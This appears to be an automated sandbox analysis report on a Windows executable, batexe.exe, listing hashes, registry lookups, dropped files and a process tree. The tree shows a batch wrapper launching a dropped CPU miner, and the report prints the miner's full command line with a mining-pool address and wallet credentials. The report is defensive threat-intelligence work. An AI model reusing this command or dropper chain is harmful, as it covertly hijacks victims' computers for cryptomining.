73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12/02/2024, 11:48

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
3240	b2e.exe
4212	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4212	cpuminer-sse2.exe
4212	cpuminer-sse2.exe
4212	cpuminer-sse2.exe
4212	cpuminer-sse2.exe
4212	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/116-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 116 wrote to memory of 3240	116	batexe.exe	84
PID 116 wrote to memory of 3240	116	batexe.exe	84
PID 116 wrote to memory of 3240	116	batexe.exe	84
PID 3240 wrote to memory of 1620	3240	b2e.exe	85
PID 3240 wrote to memory of 1620	3240	b2e.exe	85
PID 3240 wrote to memory of 1620	3240	b2e.exe	85
PID 1620 wrote to memory of 4212	1620	cmd.exe	88
PID 1620 wrote to memory of 4212	1620	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:116
- C:\Users\Admin\AppData\Local\Temp\5AE1.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5AE1.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5AE1.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3240
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5F18.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1620
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4212

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5AE1.tmp\b2e.exe

Filesize
35.4MB

MD5
d24d46f2e6dc4cd097bffc924de536dc

SHA1
effcc07657912369eb70f6f5964fc6fcf369fc75

SHA256
c2cb2918e2dd69e8d45a6775c17e24fcb8e173467984406a0a84770f39258df4

SHA512
e29c8a7fcc32701b28f0f848849b407e1350f07f57453a559cecd6249c307fe929f9a365b33db67b8d50058486842dc3fe8aee0c48bf444946ac815c8dfae63e

Download Submit
C:\Users\Admin\AppData\Local\Temp\5AE1.tmp\b2e.exe

Filesize
21.0MB

MD5
b15fe1c1c0116777f10559757eb427d5

SHA1
e25e55c74cf8ff2c608b09d18e4085367798f7d4

SHA256
1c0bb618bec95cf678c8624b6c323c786e5ff8ceaed7c35b18fd7846b66341d1

SHA512
2d03dabba9cfcea76fd3695256069828299f3c01a5a062986bcddb733bf8fc23bfe865c976b687e32e14301937d6b8ff6670e923b8360245a685056824d61a1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\5AE1.tmp\b2e.exe

Filesize
20.6MB

MD5
012f10a594d8e6fa19fb1b11f5ef0100

SHA1
13dcd5a0ed8e625ecc87b747b3f4f05494bc46ce

SHA256
1d22bd3ab1ca25056ea792d2142e511a1f53a3fbf36a4f325fadd275840846ce

SHA512
816d8378a420d18c2b3b5b8ee1dfbc04ac5649f4ebd68c08a9e64155085dc2db3ded72c075eed1ac4e8d7abe071987d8a5ad2e9aa9233772a0b38371250a053f

Download Submit
C:\Users\Admin\AppData\Local\Temp\5F18.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.0MB

MD5
51938f208ab7ce2700ddd9f763eadd0f

SHA1
5b2067861b34615d61276b0169537dd81f50f40d

SHA256
ef536a93fbc34ba8e64aaad734d4dc75b87892a5798447eb1943c5ab0eae7fdf

SHA512
8369c3b3295abe11c76336fc7448f86876bd6def39a27de9189bb93a87468e2fd2fdf68faca774eaa1ce72ed11090024039bfbe6dec36f72c620eb3114554c47

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
16.2MB

MD5
766d6e8b2ac2a61defa849814b1f44c0

SHA1
b92a48b31d24aa6db3e228800ec6975462cd7bf0

SHA256
5449ce9f4b87856fa0e34d8c66a9479fe0f721a680a401d9cb749cb407c1a0dd

SHA512
afc1b772fdd4a9a3ffff993103541a0926f3f62e56c9615fc2e9a60bd7883f3cf501e815210ade7bd7318b8576e3d67cebb400e75ab7201397f7ca9f7bf58ca2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
13.2MB

MD5
f9306883d26a61e861e7af3454297e64

SHA1
6b5a82150d717c78eaf40740f6cf4ed22eaee968

SHA256
d5a19737327f30000baa349924660b7a40b585884a917905a11edc4292028d05

SHA512
e720bdbe3e899e84ae3cece59a945efed66db220635f17d5aaa40447eed12a3a0710e8dd8e39d93ce7fbaf269a3149ea82dd9ed5642dfb7e5112b5da81d2dca6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/116-7-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3240-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3240-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4212-47-0x0000000001040000-0x00000000028F5000-memory.dmp

Filesize
24.7MB

Download
memory/4212-45-0x0000000064990000-0x0000000064A28000-memory.dmp

Filesize
608KB

Download
memory/4212-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4212-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4212-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4212-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4212-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4212-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4212-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4212-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4212-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4212-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download